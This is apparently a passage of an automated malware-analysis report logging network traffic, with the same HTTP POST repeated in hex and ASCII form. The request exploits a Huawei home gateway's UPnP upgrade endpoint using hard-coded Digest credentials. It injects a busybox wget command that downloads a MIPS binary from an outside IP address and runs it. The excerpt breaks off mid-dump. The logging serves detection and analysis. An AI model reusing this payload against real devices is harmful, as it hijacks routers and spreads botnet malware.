6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 